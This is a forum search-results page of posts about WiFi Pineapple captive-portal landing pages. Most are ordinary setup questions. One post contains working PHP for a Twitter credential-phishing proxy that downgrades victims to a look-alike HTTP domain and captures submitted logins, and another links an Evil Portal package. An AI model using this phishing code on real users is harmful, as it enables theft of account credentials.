Search the Community
Showing results for tags 'landing page'.
-
I made a Landing Page (found under Configuration) using the following html: <b>Bruce Wayne is Batman</b> I was able to display this page on a client machine. Okay, here's the dumb part: On the client browser, I couldn't get past that page! What code do I need to insert into the landing page, so that the user can get past that page!! For example, an "OK" button that allows them to proceed. Stupid, stupid, newbie question, I know. Also, is there a resource for cool ideas for coding landing pages?
-
Hey guys, I've ran into a bit of trouble, could some kind soul help me out please? I'm unable to access POST and GET variables from within the landing page's php if there is a path specified in the URL that isn't "index.php" Example landing page code below, var_dump($_POST) on line 12 returns an empty array despite the form sending the data: <?php if(!strstr($_SERVER['HTTP_HOST'],"twitter") && !strstr($_SERVER['HTTP_HOST'],"twimg") ) { /* If not visiting twitter, redirect to non-HSTS twitter domain */ die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); } else { /* form posts to http://twitter.co.uk/sessions */ if(strstr($_SERVER['REQUEST_URI'], "/sessions")) { /* var_dump($_POST) returns an empty array, should print login data */ var_dump($_POST); die(); } /* Curl the site */ $curl = curl_init(); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_URL, $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($curl); $result = str_replace('https://twitter.com', 'http://twitter.co.uk', $result); /* changes the form action */ $result = str_replace('<script', "<div style='display:none'><!--", $result); $result = str_replace('</script', "--></div", $result); echo $result; } ?> if I make the form post to http://twitter.co.ukdirectly, without the /session - they are accessible from the landing page, but I would really like to be able to access them even with other filepaths.
- 41 replies
-
- nano
- landing page
-
(and 7 more)
Tagged with:
-
This is probably a silly question but I can't find much info on it at all. The scenario I have is I travel to different locations and have clients fill out a form I created using google forms, I would like my clients to be able to connect to the AP I created with the WiFi Pineapple and be directed immediately to this form. Using php or html is this possible? I will have an active internet connection at the time so I guess I'm just basically re-directing the clients to a link?Should I be using captive portal instead? Could someone point me in the right direction to accomplish this or is it even possible?
- 1 reply
-
- mk v
- landing page
-
(and 1 more)
Tagged with:
-
Hello, I'm currently playing around with the landing page settings in the configuration tab. Its working alright, I connect my mobile with the offered Wlan and promptly the notification I set up pops up. The issue I'm having is how to correctly close the notification. Redirection doesn't seem to work neither does <input type="button" value="Close this window" onclick="self.close()"> The only option is to open the drop down menu on the phone and choose "hold connection" I'm pretty sure that I'm missing something very obvious, but I can't get a hold of it.
-
Just wanted to share the custom landing page that I created for Nodogsplash and the Evil Portal infusion. You can download the package from the link provided below. The package includes the image files, splash page html code, and my PDS projects. Feel free to customize or improve the files and enjoy! Download the package - http://www.sunstudiophoto.com/pineapple/portal.zip If you need help installing Evil Portal and setting up your captive portal, watch my full-length tutorial - "http://youtu.be/nw4bo4rXGgQ" Here are some screenshots of the portal. The first screenshot shows the portal without any user interaction. The second screenshot shows the portal after the user has scrolled over the accept button (a check mark appears).
- 40 replies
-
- nodogsplash
- evil portal
-
(and 4 more)
Tagged with: